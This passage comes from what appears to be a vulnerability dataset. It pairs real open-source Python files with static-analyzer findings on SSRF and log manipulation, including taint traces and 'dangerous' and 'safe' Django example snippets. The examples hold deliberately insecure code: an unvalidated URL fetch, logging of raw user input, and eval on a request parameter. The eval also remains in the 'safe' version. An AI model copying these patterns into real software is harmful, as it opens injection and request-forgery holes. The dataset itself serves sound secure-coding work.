Network():\n\tdef do_request(self, request: HTTPRequest):\n\t\tparameters = {}\n\t\theaders = {}\n\t\tif request.parameters:\n\t\t\tparameters = request.parameters\n\t\tif request.headers:\n\t\t\theaders = request.headers\n\t\tif request.is_get():\n\t\t\tresponse = requests.get(request.url)\n\t\t\treturn self.json(response)\n\t\telif request.is_post():\n\t\t\tresponse = requests.post(\n\t\t\t\trequest.url,\n\t\t\t\tparams = parameters,\n\t\t\t\theaders = headers\n\t\t\t\t)\n\t\t\treturn self.verify(response)\n\t\t\n\n\tdef json(self, response):\n\t\tif response.status_code == requests.codes.ok:\n\t\t\treturn response.json()\n\t\telse:\n\t\t\tprint(\"Request failed\")\n\nclass RequestHandler(AbstractInstructionHandler):\n\n\tdef handle(self, instruction, parameter_provider):\n\t\tif instruction.type == \"request\":\n\t\t\tpayload = instruction.payload\n\t\t\trequest_instruction = RequestInstruction(**payload)\n\t\t\tnetwork = Network()\n\t\t\tjson = network.do_request(request_instruction.http_request)\n\n\t\t\tif json is None:\n\t\t\t\tprint(\"error\")\n\t\t\t\treturn\n\n\t\t\t#Get values based on the paths from json response\n\t\t\tfor parameter_source in request_instruction.response_source:\n\t\t\t\tvalue = json\n\t\t\t\tfor key in parameter_source:\n\t\t\t\t\tvalue = value[key]\n\t\t\t\tparameter_provider.store_value(value)\n\t\telse:\n\t\t\tsuper().handle(request)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "38"}}, {"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.url"}}, {"lineNo": 39, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "0040df38d4e5ec5d213355a9da478bd1dc55184561a04e632cdcb7824da2aa9c", "license": {"spdx": ["MIT"], "repo": "tirkarthi/raiden", "path": "raiden/tests/integration/long_running/test_stress.py", "repo_head_hexsha": "dbd03ddda039332b54ec0c02d81cbe1100bc8028", "stack_hexsha": "5df1af1171ca12ddbf5a2ce6aeb42a6d24730f8d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 177, "entireCode": "import time\nfrom http import HTTPStatus\nfrom itertools import count\nfrom typing import Sequence\n\nimport gevent\nimport grequests\nimport pytest\nimport structlog\nfrom eth_utils import to_canonical_address\nfrom flask import url_for\n\nfrom raiden.api.python import RaidenAPI\nfrom raiden.api.rest import APIServer, RestAPI\nfrom raiden.constants import RoutingMode\nfrom raiden.message_handler import MessageHandler\nfrom raiden.network.transport import MatrixTransport\nfrom raiden.raiden_event_handler import RaidenEventHandler\nfrom raiden.raiden_service import RaidenService\nfrom raiden.settings import RestApiConfig\nfrom raiden.tests.integration.api.utils import wait_for_listening_port\nfrom raiden.tests.integration.fixtures.raiden_network import RestartNode\nfrom raiden.tests.utils.detect_failure import raise_on_failure\nfrom raiden.tests.utils.protocol import HoldRaidenEventHandler\nfrom raiden.tests.utils.transfer import (\n assert_synced_channel_state,\n wait_assert,\n watch_for_unlock_failures,\n)\nfrom raiden.transfer import views\nfrom raiden.ui.startup import RaidenBundle\nfrom raiden.utils.formatting import to_checksum_address\nfrom raiden.utils.typing import (\n Address,\n BlockNumber,\n Host,\n Iterator,\n List,\n Port,\n TokenAddress,\n TokenAmount,\n TokenNetworkAddress,\n Tuple,\n)\n\nlog = structlog.get_logger(__name__)\n\n\ndef iwait_and_get(items: Sequence[gevent.Greenlet]) -> None:\n \"\"\"Iteratively wait and get on passed greenlets.\n\n This ensures exceptions in the greenlets are re-raised as soon as possible.\n \"\"\"\n for item in gevent.iwait(items):\n item.get()\n\n\ndef _url_for(apiserver: APIServer, endpoint: str, **kwargs) -> str:\n # url_for() expects binary address so we have to convert here\n for key, val in kwargs.items():\n if isinstance(val, str) and val.startswith(\"0x\"):\n kwargs[key] = to_canonical_address(val)\n\n with apiserver.flask_app.app_context():\n return url_for(f\"v1_resources.{endpoint}\", **kwargs)\n\n\ndef start_apiserver(raiden_app: RaidenService, rest_api_port_number: Port) -> APIServer:\n raiden_api = RaidenAPI(raiden_app)\n rest_api = RestAPI(raiden_api)\n api_server = APIServer(\n rest_api, config=RestApiConfig(host=Host(\"localhost\"), port=rest_api_port_number)\n )\n\n # required for url_for\n api_server.flask_app.config[\"SERVER_NAME\"] = f\"localhost:{rest_api_port_number}\"\n\n api_server.start()\n\n wait_for_listening_port(rest_api_port_number)\n\n return api_server\n\n\ndef start_apiserver_for_network(\n raiden_network: List[RaidenService], port_generator: Iterator[Port]\n) -> List[APIServer]:\n return [start_apiserver(app, next(port_generator)) for app in raiden_network]\n\n\ndef restart_app(app: RaidenService, restart_node: RestartNode) -> RaidenService:\n new_transport = MatrixTransport(\n config=app.config.transport, environment=app.config.environment_type\n )\n raiden_event_handler = RaidenEventHandler()\n hold_handler = HoldRaidenEventHandler(raiden_event_handler)\n\n app = RaidenService(\n config=app.config,\n rpc_client=app.rpc_client,\n proxy_manager=app.proxy_manager,\n query_start_block=BlockNumber(0),\n raiden_bundle=RaidenBundle(\n app.default_registry,\n app.default_secret_registry,\n ),\n services_bundle=app.default_services_bundle,\n transport=new_transport,\n raiden_event_handler=hold_handler,\n message_handler=MessageHandler(),\n routing_mode=RoutingMode.PRIVATE,\n )\n\n restart_node(app)\n\n return app\n\n\ndef restart_network(\n raiden_network: List[RaidenService], restart_node: RestartNode\n) -> List[RaidenService]:\n for app in raiden_network:\n app.stop()\n\n wait_network = (gevent.spawn(restart_app, app, restart_node) for app in raiden_network)\n\n gevent.joinall(set(wait_network), raise_error=True)\n\n new_network = [greenlet.get() for greenlet in wait_network]\n\n return new_network\n\n\ndef restart_network_and_apiservers(\n raiden_network: List[RaidenService],\n restart_node: RestartNode,\n api_servers: List[APIServer],\n port_generator: Iterator[Port],\n) -> Tuple[List[RaidenService], List[APIServer]]:\n \"\"\"Stop an app and start it back\"\"\"\n for rest_api in api_servers:\n rest_api.stop()\n\n new_network = restart_network(raiden_network, restart_node)\n new_servers = start_apiserver_for_network(new_network, port_generator)\n\n return (new_network, new_servers)\n\n\ndef address_from_apiserver(apiserver: APIServer) -> Address:\n return apiserver.rest_api.raiden_api.address\n\n\ndef transfer_and_assert(\n server_from: APIServer,\n server_to: APIServer,\n token_address: TokenAddress,\n identifier: int,\n amount: TokenAmount,\n) -> None:\n url = _url_for(\n server_from,\n \"token_target_paymentresource\",\n token_address=to_checksum_address(token_address),\n target_address=to_checksum_address(address_from_apiserver(server_to)),\n )\n json = {\"amount\": amount, \"identifier\": identifier}\n\n log.debug(\"PAYMENT REQUEST\", url=url, json=json)\n\n request = grequests.post(url, json=json)\n\n start = time.monotonic()\n response = request.send().response\n duration = time.monotonic() - start\n\n log.debug(\"PAYMENT RESPONSE\", url=url, json=json, response=response, duration=duration)\n\n assert getattr(request, \"exception\", None) is None\n assert response is not None\n assert response.status_code == HTTPStatus.OK, f\"Payment failed, reason: {response.content}\"\n assert response.headers[\"Content-Type\"] == \"application/json\"\n\n\ndef sequential_transfers(\n server_from: APIServer,\n server_to: APIServer,\n number_of_transfers: int,\n token_address: TokenAddress,\n identifier_generator: Iterator[int],\n) -> None:\n for _ in range(number_of_transfers):\n transfer_and_assert(\n server_from=server_from,\n server_to=server_to,\n token_address=token_address,\n identifier=next(identifier_generator),\n amount=TokenAmount(1),\n )\n\n\ndef stress_send_serial_transfers(\n rest_apis: List[APIServer],\n token_address: TokenAddress,\n identifier_generator: Iterator[int],\n deposit: TokenAmount,\n) -> None:\n \"\"\"Send `deposit` transfers of value `1` one at a time, without changing\n the initial capacity.\n \"\"\"\n pairs = list(zip(rest_apis, rest_apis[1:] + [rest_apis[0]]))\n\n # deplete the channels in one direction\n for server_from, server_to in pairs:\n sequential_transfers(\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n\n # deplete the channels in the backwards direction\n for server_to, server_from in pairs:\n sequential_transfers(\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit * 2,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n\n # reset the balances balances by sending the \"extra\" deposit forward\n for server_from, server_to in pairs:\n sequential_transfers(\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n\n\ndef stress_send_parallel_transfers(\n rest_apis: List[APIServer],\n token_address: TokenAddress,\n identifier_generator: Iterator[int],\n deposit: TokenAmount,\n) -> None:\n \"\"\"Send `deposit` transfers in parallel, without changing the initial capacity.\"\"\"\n pairs = list(zip(rest_apis, rest_apis[1:] + [rest_apis[0]]))\n\n # deplete the channels in one direction\n iwait_and_get(\n [\n gevent.spawn(\n sequential_transfers,\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n for server_from, server_to in pairs\n ]\n )\n\n # deplete the channels in the backwards direction\n iwait_and_get(\n [\n gevent.spawn(\n sequential_transfers,\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit * 2,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n for server_to, server_from in pairs\n ]\n )\n\n # reset the balances balances by sending the \"extra\" deposit forward\n iwait_and_get(\n [\n gevent.spawn(\n sequential_transfers,\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n for server_from, server_to in pairs\n ]\n )\n\n\ndef stress_send_and_receive_parallel_transfers(\n rest_apis: List[APIServer],\n token_address: TokenAddress,\n identifier_generator: Iterator[int],\n deposit: TokenAmount,\n) -> None:\n \"\"\"Send transfers of value one in parallel\"\"\"\n pairs = list(zip(rest_apis, rest_apis[1:] + [rest_apis[0]]))\n\n forward_transfers = [\n gevent.spawn(\n sequential_transfers,\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n for server_from, server_to in pairs\n ]\n\n backwards_transfers = [\n gevent.spawn(\n sequential_transfers,\n server_from=server_from,\n server_to=server_to,\n number_of_transfers=deposit,\n token_address=token_address,\n identifier_generator=identifier_generator,\n )\n for server_to, server_from in pairs\n ]\n\n iwait_and_get(forward_transfers + backwards_transfers)\n\n\ndef assert_channels(\n raiden_network: List[RaidenService],\n token_network_address: TokenNetworkAddress,\n deposit: TokenAmount,\n) -> None:\n pairs = list(zip(raiden_network, raiden_network[1:] + [raiden_network[0]]))\n\n for first, second in pairs:\n wait_assert(\n assert_synced_channel_state,\n token_network_address,\n first,\n deposit,\n [],\n second,\n deposit,\n [],\n )\n\n\n@pytest.mark.skip(reason=\"flaky, see https://github.com/raiden-network/raiden/issues/4803\")\n@raise_on_failure\n@pytest.mark.parametrize(\"number_of_nodes\", [3])\n@pytest.mark.parametrize(\"number_of_tokens\", [1])\n@pytest.mark.parametrize(\"channels_per_node\", [2])\n@pytest.mark.parametrize(\"deposit\", [2])\n@pytest.mark.parametrize(\"reveal_timeout\", [15])\n@pytest.mark.parametrize(\"settle_timeout\", [120])\ndef test_stress(\n raiden_network: List[RaidenService],\n restart_node: RestartNode,\n deposit: TokenAmount,\n token_addresses: List[TokenAddress],\n port_generator: Iterator[Port],\n) -> None:\n token_address = token_addresses[0]\n rest_apis = start_apiserver_for_network(raiden_network, port_generator)\n identifier_generator = count(start=1)\n\n token_network_address = views.get_token_network_address_by_token_address(\n views.state_from_raiden(raiden_network[0]),\n raiden_network[0].default_registry.address,\n token_address,\n )\n assert token_network_address\n\n for _ in range(2):\n assert_channels(raiden_network, token_network_address, deposit)\n\n with watch_for_unlock_failures(*raiden_network):\n stress_send_serial_transfers(rest_apis, token_address, identifier_generator, deposit)\n\n raiden_network, rest_apis = restart_network_and_apiservers(\n raiden_network, restart_node, rest_apis, port_generator\n )\n\n assert_channels(raiden_network, token_network_address, deposit)\n\n with watch_for_unlock_failures(*raiden_network):\n stress_send_parallel_transfers(rest_apis, token_address, identifier_generator, deposit)\n\n raiden_network, rest_apis = restart_network_and_apiservers(\n raiden_network, restart_node, rest_apis, port_generator\n )\n\n assert_channels(raiden_network, token_network_address, deposit)\n\n with watch_for_unlock_failures(*raiden_network):\n stress_send_and_receive_parallel_transfers(\n rest_apis, token_address, identifier_generator, deposit\n )\n\n raiden_network, rest_apis = restart_network_and_apiservers(\n raiden_network, restart_node, rest_apis, port_generator\n )\n\n restart_network(raiden_network, restart_node)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "send"}}, {"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "send.response"}}, {"lineNo": 174, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 177, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "d979bd3379ea8978415008149417e4c831169ed1f665cef1650c66ee46a4886a", "license": {"spdx": ["Apache-2.0"], "repo": "dongboyan77/quay", "path": "auth/decorators.py", "repo_head_hexsha": "8018e5bd80f17e6d855b58b7d5f2792d92675905", "stack_hexsha": "f7f61f99b14ff05744c7eb403d860339bcd27eae", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 45, "entireCode": "import logging\n\nfrom functools import wraps\nfrom flask import request, session\nfrom prometheus_client import Counter\n\nfrom auth.basic import validate_basic_auth\nfrom auth.oauth import validate_bearer_auth\nfrom auth.cookie import validate_session_cookie\nfrom auth.signedgrant import validate_signed_grant\n\nfrom util.http import abort\n\n\nlogger = logging.getLogger(__name__)\n\n\nauthentication_count = Counter(\n \"quay_authentication_attempts_total\",\n \"number of authentication attempts accross the registry and API\",\n labelnames=[\"auth_kind\", \"success\"],\n)\n\n\ndef _auth_decorator(pass_result=False, handlers=None):\n \"\"\" Builds an auth decorator that runs the given handlers and, if any return successfully,\n sets up the auth context. The wrapped function will be invoked *regardless of success or\n failure of the auth handler(s)*\n \"\"\"\n\n def processor(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n auth_header = request.headers.get(\"authorization\", \"\")\n result = None\n\n for handler in handlers:\n result = handler(auth_header)\n # If the handler was missing the necessary information, skip it and try the next one.\n if result.missing:\n continue\n\n # Check for a valid result.\n if result.auth_valid:\n logger.debug(\"Found valid auth result: %s\", result.tuple())\n\n # Set the various pieces of the auth context.\n result.apply_to_context()\n\n # Log the metric.\n authentication_count.labels(result.kind, True).inc()\n break\n\n # Otherwise, report the error.\n if result.error_message is not None:\n # Log the failure.\n authentication_count.labels(result.kind, False).inc()\n break\n\n if pass_result:\n kwargs[\"auth_result\"] = result\n\n return func(*args, **kwargs)\n\n return wrapper\n\n return processor\n\n\nprocess_oauth = _auth_decorator(handlers=[validate_bearer_auth, validate_session_cookie])\nprocess_auth = _auth_decorator(handlers=[validate_signed_grant, validate_basic_auth])\nprocess_auth_or_cookie = _auth_decorator(handlers=[validate_basic_auth, validate_session_cookie])\nprocess_basic_auth = _auth_decorator(handlers=[validate_basic_auth], pass_result=True)\nprocess_basic_auth_no_pass = _auth_decorator(handlers=[validate_basic_auth])\n\n\ndef require_session_login(func):\n \"\"\" Decorates a function and ensures that a valid session cookie exists or a 401 is raised. If\n a valid session cookie does exist, the authenticated user and identity are also set.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n result = validate_session_cookie()\n if result.has_nonrobot_user:\n result.apply_to_context()\n authentication_count.labels(result.kind, True).inc()\n return func(*args, **kwargs)\n elif not result.missing:\n authentication_count.labels(result.kind, False).inc()\n\n abort(401, message=\"Method requires login and no valid login could be loaded.\")\n\n return wrapper\n\n\ndef extract_namespace_repo_from_session(func):\n \"\"\" Extracts the namespace and repository name from the current session (which must exist)\n and passes them into the decorated function as the first and second arguments. If the\n session doesn't exist or does not contain these arugments, a 400 error is raised.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n if \"namespace\" not in session or \"repository\" not in session:\n logger.error(\"Unable to load namespace or repository from session: %s\", session)\n abort(400, message=\"Missing namespace in request\")\n\n return func(session[\"namespace\"], session[\"repository\"], *args, **kwargs)\n\n return wrapper", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.headers"}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "handler"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "44"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "tuple"}}, {"lineNo": 45, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "78a11f2b1dfe74e256308fac9e999b0b2ed16946069f6e4ddfe68209c8b0d284", "license": {"spdx": ["Apache-2.0"], "repo": "leonrenkema/makerspaceleiden-crm", "path": "members/views.py", "repo_head_hexsha": "36ea20f5b9e263e8f30b1831ae4a2b1d5b926d3c", "stack_hexsha": "428b51da1bd2717103e2c7bb03266fb5b3a3af22", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 104, "entireCode": "from django.shortcuts import render, redirect\n\nfrom django.contrib.auth.forms import PasswordResetForm\nfrom django.core.mail import EmailMessage\n\nfrom django.template import loader\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom django.db.utils import IntegrityError\nfrom django.urls import reverse\n\nfrom django.template.loader import render_to_string, get_template\n\nfrom .forms import NewUserForm, NewAuditRecordForm\n\nfrom acl.models import Entitlement, PermitType\nfrom members.models import Tag, User, clean_tag_string, AuditRecord\nfrom mailinglists.models import Mailinglist, Subscription\n\nimport logging\nimport datetime\nimport sys\nimport re\n\nlogger = logging.getLogger(__name__)\n\n\n@login_required\ndef index(request):\n lst = Entitlement.objects.order_by(\"holder__id\")\n agg = {}\n perms = {}\n output = \"\"\n for e in lst:\n if not e.holder in agg:\n agg[e.holder] = {}\n perms[e.permit.name] = 1\n agg[e.holder][e.permit.name] = 1\n\n context = {\n \"agg\": agg,\n \"perms\": perms,\n \"has_permission\": request.user.is_authenticated,\n }\n return render(request, \"members/index.html\", context)\n\n\n@login_required\ndef newmember(request):\n if not request.user.is_privileged:\n return HttpResponse(\"XS denied\", status=403, content_type=\"text/plain\")\n\n if request.POST:\n form = NewUserForm(request.POST)\n if form.is_valid():\n try:\n email = form.cleaned_data.get(\"email\")\n tag = form.cleaned_data.get(\"tag\")\n newmember = User.objects.create_user(\n email=email,\n first_name=form.cleaned_data.get(\"first_name\"),\n last_name=form.cleaned_data.get(\"last_name\"),\n )\n\n # Do not set this - it silently blocks the invite mails deep in PasswordResetForm.\n #\n # newmember.set_unusable_password()\n #\n newmember.set_password(User.objects.make_random_password())\n\n if form.cleaned_data.get(\"phone_number\"):\n newmember.phone_number = form.cleaned_data.get(\"phone_number\")\n newmember.changeReason = (\n \"Added by {} with the newnmeber signup form\".format(request.user)\n )\n newmember.save()\n\n # sanity check.\n newmember = User.objects.get(email=email)\n\n # Wire up the tag if one was provided.\n if form.cleaned_data.get(\"tag\"):\n tag.reassing_to_user(\n newmember,\n request.user,\n activate=form.cleaned_data.get(\"activate_doors\"),\n )\n\n # Subscribe user if needed\n for mlist_name in form.cleaned_data.get(\"mailing_lists\"):\n try:\n mlist = Mailinglist.objects.get(name=mlist_name)\n s = Subscription.objects.create(\n mailinglist=mlist,\n member=newmember,\n active=True,\n digest=False,\n )\n s.subscribe()\n # s.changeReason(\"Subscribed during form based new user create\")\n s.save()\n except Exception as e:\n logger.error(\n \"Failed to subscribe user {} to {} : {}\".format(\n request.user, mlist_name, e\n )\n )\n\n # Send welcome email.\n form = PasswordResetForm({\"email\": newmember.email})\n if not form.is_valid():\n raise Exception(\"Internal issue\")\n form.save(\n from_email=settings.DEFAULT_FROM_EMAIL,\n email_template_name=\"members/email_newmembers_invite.txt\",\n subject_template_name=\"members/email_newmembers_invite_subject.txt\",\n )\n return redirect(\"index\")\n except IntegrityError as e:\n logger.error(\"Failed to create user : {}\".format(e))\n return HttpResponse(\n \"Create gone wrong. Was that email or name already added ?\",\n status=500,\n content_type=\"text/plain\",\n )\n except Exception as e:\n exc_type, exc_obj, tb = sys.exc_info()\n f = tb.tb_frame\n lineno = tb.tb_lineno\n filename = f.f_code.co_filename\n logger.error(\n \"Failed to create user : {} at {}:{}\".format(filename, lineno, e)\n )\n return HttpResponse(\n \"Create gone wrong. Drat.\", status=500, content_type=\"text/plain\"\n )\n else:\n logger.debug(\"Form not valid\")\n\n context = {\n \"label\": \"Add a new member\",\n \"title\": \"New Member\",\n \"action\": \"Invite\",\n \"has_permission\": request.user.is_authenticated,\n }\n context[\"form\"] = NewUserForm()\n return render(request, \"members/newmember.html\", context)\n\n\n@login_required\ndef sudo(request):\n if not request.user.can_escalate_to_priveleged:\n return HttpResponse(\"XS denied\", status=403, content_type=\"text/plain\")\n\n if request.POST:\n form = NewAuditRecordForm(request.POST)\n\n if form.is_valid():\n try:\n record = form.save(commit=False)\n record.user = request.user\n record.changeReason = (\n f\"SUDO escalation in webinterface by {request.user}\"\n )\n record.save()\n\n return redirect(form.cleaned_data.get(\"return_to\"))\n # return redirect('index')\n\n except Exception as e:\n logger.error(\"Failed to create uudit recordser : {}\".format(e))\n return HttpResponse(\n \"Could not create audit record.\",\n status=500,\n content_type=\"text/plain\",\n )\n\n rurl = reverse(\"index\")\n if \"HTTP_REFERER\" in request.META:\n rurl = request.META[\"HTTP_REFERER\"]\n form = NewAuditRecordForm(None, initial={\"return_to\": rurl})\n context = {\n \"label\": \"GDPR (AVG)\",\n \"title\": \"Become and admin\",\n \"action\": \"go admin\",\n \"form\": form,\n \"back\": \"index\",\n \"has_permission\": request.user.is_authenticated,\n \"preamble\": render_to_string(\"precooked_gdpr_options.html\"),\n }\n return render(request, \"crud.html\", context)\n\n\ndef drop(request):\n if not request.user.can_escalate_to_priveleged:\n return HttpResponse(\"XS denied\", status=403, content_type=\"text/plain\")\n\n record = AuditRecord(\n user=request.user, final=True, action=\"Drop privs from webinterface\"\n )\n\n if request.user.is_privileged:\n record.changereason = f\"DROP in webinterface by {request.user}\"\n else:\n record.changereason = f\"DROP in webinterface by {request.user} - but actual permission had already timed out.\"\n record.save()\n\n return redirect(request.META[\"HTTP_REFERER\"])", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 56, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "56"}}, {"lineNo": 104, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "error"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.user"}}]}} {"id": "c4a7466fb8f05dbb0ff2336dafe9eeb80dc0a953647a0636fdbed8aca65a4b38", "license": {"spdx": ["Apache-2.0"], "repo": "ameenfarooqi/fabric8-analytics-server", "path": "bayesian/auth.py", "repo_head_hexsha": "6e34d8199d33223a25e33511c194679865a712ca", "stack_hexsha": "69aeb1d75e0847f7d192e1d5f127d4458a56ea39", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 68, "entireCode": "\"\"\"Authorization token handling.\"\"\"\nimport logging\nfrom functools import wraps\nfrom flask import g, request\nfrom requests import get\nfrom pydantic.error_wrappers import ValidationError\nfrom bayesian.utility.user_utils import get_user, UserException, UserNotFoundException\nfrom bayesian.utility.v2.sa_models import HeaderData\nfrom bayesian.exceptions import HTTPError\nfrom f8a_utils.user_token_utils import UserStatus\n\nfrom .default_config import AUTH_URL\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_access_token(service_name):\n \"\"\"Return the access token for service.\"\"\"\n services = {'github': 'https://github.com'}\n url = '{auth_url}/api/token?for={service}'.format(\n auth_url=AUTH_URL, service=services.get(service_name))\n token = request.headers.get('Authorization')\n headers = {\"Authorization\": token}\n try:\n _response = get(url, headers=headers)\n if _response.status_code == 200:\n response = _response.json()\n return {\"access_token\": response.get('access_token')}\n else:\n return {\"access_token\": None}\n\n except Exception:\n logger.error('Unable to connect to Auth service')\n\n\ndef validate_user(view):\n \"\"\"Validate and get user type based on UUID from the request.\"\"\"\n @wraps(view)\n def wrapper(*args, **kwargs):\n \"\"\"Read uuid and decides user type based on its validity.\"\"\"\n # Rule of UUID validation and setting user status ::\n # ==============================================================\n # UUID in request | UUID in RDS | RDS User State | User Status\n # ==============================================================\n # MISSING | -- NA -- | -- NA -- | FREE\n # PRESENT | MISSING | -- NA -- | FREE\n # PRESENT | PRESENT | REGISTERED | REGISTERED\n # PRESENT | PRESENT | !REGISTERED | FREE\n # ==============================================================\n\n 